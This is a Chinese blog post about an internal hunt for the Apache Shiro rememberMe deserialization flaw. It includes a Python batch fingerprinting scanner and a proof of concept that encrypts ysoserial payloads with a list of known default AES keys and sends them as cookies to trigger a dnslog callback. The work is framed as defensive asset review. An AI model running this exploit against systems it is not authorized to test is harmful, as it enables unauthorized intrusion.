Apache shiro反序列化漏洞排查


Apache shiro反序列化漏洞排查


0x01 前言

老洞了,最近SRC收了一个Apache Shiro漏洞,然后领导就让我去排查,


0x02 情况

先说一下情况吧,由于我司没有一个自动化漏洞扫描平台,因此我只能手动去验证

  1. 某部500+系统,系统情况不明,没有账号密码
  2. 某部系统使用云上主机,没有权限进入并扫描war包


0x03 思考

思考一下 问题来了

  1. 怎么确定系统有用到Apache Shiro?
  2. 怎么确定该系统的Shiro存在漏洞?


上午查看了一下Apache Shiro反序列化这个漏洞的“前因后果”,触发条件以及相关的poc,虽然网路上有攻击脚本,但是还是没有好用的批量工具(也可能是我没有找到吧


下面是我处理的步骤:


1、找出Apache Shiro的特征

这个特征找的时候还有一部分曲折,一开始我以为的是找到系统的登陆接口,或者提交登陆的form,服务器才会返回一个rememberMe的cookie,然并卵,后面试了几次,发现使用shiro的系统,只要在我请求包中加一个rememberMe=1的cookie,response里就会返回rememberMe=deleteMe的操作,因此由此可以识别该系统是否使用了Apache Shiro


2、编写脚本扫描

要先筛选出使用shiro的系统嘛

我的渣代码就将就着看吧,在写的时候习惯用print来确认自己写的没错,后面调试

<code>from urllib import requestimport jsonimport requestsimport os# 获取每个url数据def get_result(ip):    if '://' not in ip:        target = 'https://%s/' % ip if ':443' in ip else 'http://%s/' % ip    else:        target = ip    header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',              'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',              'Host': ip,              'User-Agent ': 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:61.0) Gecko/20100101 Firefox/61.0',              'Cookie':'rememberMe=1'              }    # print(header)    data = None    try:        rq = request.Request(target, data=data, headers=header)        res = request.urlopen(rq)        head = res.headers        if "deleteMe" in str(head._headers[1]):            print("[+] %s is vulnerable." % (target))            print(ip)            return target        else:            pass            #print("[+] %s is not vulerable" % (target))            #     return True        # return head    except Exception as result:        pass        # print('未知错误 %s' % target)  #    # print(head)    # response = res.read();# 获取请求结果def get_response():    file = open("D:\\\\ip.txt","r")    for i in file:        # print(i.strip())        ip = i.strip()        result = get_result(ip)        # print(result)if __name__ == '__main__':    get_response()/<code> 

3、上攻击脚本

这里要修改脚本进行批量扫描,


0x04 后续

poc 网上有就不多讲了 排查了一遍再用某平台扫描了一遍 也没有发现这些资产有shiro反序列化漏洞,便出报告、发邮件抄送领导了

今天捡了一个poc,觉得挺有趣的,记录下来


<code>import osimport reimport base64import uuidimport subprocessimport requestsfrom Crypto.Cipher import AESJAR_FILE = 'ysoserial.jar'keys=["kPH+bIxk5D2deZiIxcaaaA==","4AvVhmFLUs0KTA3Kprsdag==","3AvVhmFLUs0KTA3Kprsdag==","Z3VucwAAAAAAAAAAAAAAAA==","2AvVhdsgUs0FSA3SDFAdag==","wGiHplamyXlVB11UXWol8g==","fCq+/xW488hMTCD+cmJ3aQ==","1QWLxg+NYmxraMoxAXu/Iw==","ZUdsaGJuSmxibVI2ZHc9PQ==","L7RioUULEFhRyxM7a2R/Yg==","6ZmI6I2j5Y+R5aSn5ZOlAA==","r0e3c16IdVkouZgk1TKVMg==","ZWvohmPdUsAWT3=KpPqda","5aaC5qKm5oqA5pyvAAAAAA==","bWluZS1hc3NldC1rZXk6QQ==","a2VlcE9uR29pbmdBbmRGaQ==","WcfHGU25gNnTxTlmJMeSpw==","LEGEND-CAMPUS-CIPHERKEY==","3AvVhmFLUs0KTA3Kprsdag ==","2AvVhdDFCVdfdfDFAdag==","AsfawfsdfaAasdWWW=="]def poc(url, rce_command,key):    if '://' not in url:        target = 'https://%s' % url if ':443' in url else 'http://%s' % url    else:        target = url        try:        payload = generator(rce_command, JAR_FILE,key)        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)        print r.status_code    except Exception, e:        pass    return Falsedef generator(command, fp,key):    if not os.path.exists(fp):        raise Exception('jar file not found!')    popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command],                             stdout=subprocess.PIPE)    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertextif __name__ == '__main__':    for i in range(len(keys)):        print keys[i]        poc('http://ip:port/a/login', 'dnslog',keys[i])         #dnslog=http://xxx.ceye.io               /<code>


分享到:


相關文章: